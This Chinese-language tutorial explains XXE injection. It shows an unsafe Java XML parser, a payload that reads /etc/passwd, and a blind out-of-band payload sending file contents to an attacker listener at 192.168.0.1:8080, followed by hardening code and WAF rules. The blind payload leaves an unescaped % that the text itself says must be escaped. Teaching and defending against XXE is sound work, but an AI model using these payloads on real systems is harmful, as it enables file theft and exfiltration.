XXE全称XML External Entity,即XML外部实体注入,是一种利用XML解析器对外部实体支持缺陷引发的安全问题。当应用程序接收用户可控的XML数据,并且底层解析库未禁用外部实体加载时,攻击者就能在XML中定义实体指向本地文件或远程地址,从而读取敏感信息或实施服务端请求伪造。理解该漏洞需要从XML规范中的实体机制和解析器默认行为说起。

一、XXE漏洞底层原理
XML标准允许在文档类型定义(DTD)中声明实体,实体分为内部实体与外部实体。外部实体通过SYSTEM关键字引用URI资源,例如文件系统中的绝对路径或网络地址。大多数历史版本的解析器为了提高兼容性,默认开启了对外部实体的解析,这就埋下了隐患。当服务端代码将客户端传入的XML字符串直接交给解析器处理,且未设置防护属性,解析器便会自动发起资源读取。
从解析流程看,XML解析器在构建文档树之前会先处理DTD。如果DTD中存在外部实体定义,解析器会尝试获取该资源内容并替换到实体引用位置。若实体内容被回显到响应中,攻击者就能看到目标文件。即使不回显,也可借助外部带外通道(如HTTP请求)将文件内容发出去,这被称为盲注XXE。因此漏洞本质不是XML语言本身有问题,而是解析器配置不当与程序对输入缺乏限制。
1.1 典型危险配置
在Java生态中,javax.xml.parsers.DocumentBuilderFactory默认不禁用DOCTYPE,开发者若未显式调用setFeature关闭外部实体,就会暴露风险。下面代码展示了不安全的解析写法:
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
import java.io.ByteArrayInputStream;
public class UnsafeParse {
public Document parse(String xml) throws Exception {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 未禁用外部实体,存在XXE风险
DocumentBuilder db = dbf.newDocumentBuilder();
return db.parse(new ByteArrayInputStream(xml.getBytes("UTF-8")));
}
}
上述代码在接收用户XML后直接解析,攻击者可传入包含<!ENTITY>的DTD读取/etc/passwd。相较之下,安全的做法是在工厂对象上设置两个关键Feature,从根本上拒绝外部实体加载。
二、漏洞复现环境搭建
为直观理解攻击过程,我们可以采用本地PHP环境与Java测试服务两种方式进行复现。PHP的SimpleXML或DOMDocument在旧版本中同样默认解析外部实体,适合快速验证。首先准备一个接收XML的脚本,将输入原样解析并输出节点内容。
假设服务地址为http://127.0.0.1/xxe.php,该脚本读取php://input作为XML字符串并用simplexml_load_string处理。我们在客户端构造如下payload,通过定义外部实体读取系统文件:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user><name>&xxe;</name></user>
当服务端回显name节点时,便会泄露密码文件内容。若目标不回显,可把SYSTEM改为攻击者的HTTP服务地址,例如http://192.168.0.1:8080/collect?data=,并在实体中嵌套文件实体,实现盲注外带。Java侧复现只需将前面不安全解析代码暴露为接口,用相同XML POST即可。
2.1 盲注数据外带示例
盲注场景下,直接回显被禁用,但解析器仍会请求外部资源。我们可以让服务器先读取文件,再把内容拼进请求参数。示例如下:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://192.168.0.1:8080/?x=%file;'>">
%eval;
%exfil;
]>
<foo>test</foo>
这段DTD利用参数实体嵌套,先读文件再发起请求。注意在XML中百分号实体需要正确转义,否则解析报错。实际渗透测试中应在授权范围内使用此类技术,并避免对生产系统造成拒绝服务。
三、渗透测试中的验证方法
在安全评估时,测试人员应先确认入口是否接受XML格式。常见线索包括Content-Type为application/xml、接口返回XML报文或报错提及DOM解析。确认后,可先发送基础XML探测解析是否成功,再逐步加入外部实体观察响应差异。
推荐采用带外检测平台或自建监听服务,因为直接回显并非总是存在。测试流程可归纳为:构造无实体正常包、构造读本地文件实体包、构造指向自有服务的盲注包。对比三个响应,若自有服务收到请求或响应包含文件片段,即可判定漏洞。下表列出不同语言解析器的默认风险与加固属性:
| 语言或库 | 默认外部实体 | 加固设置 |
|---|---|---|
| PHP DOMDocument | 旧版开启 | libxml_disable_entity_loader(true) |
| Java DocumentBuilder | 开启 | setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) |
| Python xml.etree | 不解析外部 | 避免使用lxml默认配置 |
测试报告应明确标注利用条件与潜在影响,例如能读取哪些路径、是否可触达内网。同时附上修复建议,帮助开发团队闭环。
四、开发与防护最佳实践
从根本上消除XXE,首选方案是禁用DTD与DOCTYPE声明。Java中可同时开启disallow-doctype-decl与关闭外部通用实体、参数实体。完整安全解析代码如下:
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
import java.io.ByteArrayInputStream;
public class SafeParse {
public Document parse(String xml) throws Exception {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
DocumentBuilder db = dbf.newDocumentBuilder();
return db.parse(new ByteArrayInputStream(xml.getBytes("UTF-8")));
}
}
除了代码层,输入校验也不可忽视。若业务无需XML,应改用JSON并严格校验字段。若必须使用XML,建议采用白名单模式限制节点名,并部署WAF规则拦截包含<!DOCTYPE>与SYSTEM的异常请求。多层防御能降低误配置带来的暴露面。
最后提醒,渗透测试与漏洞研究必须在合法授权下进行。掌握XXE原理不仅有助于攻击面验证,更能让开发人员在设计阶段规避解析器默认风险,构建更健壮的接口层。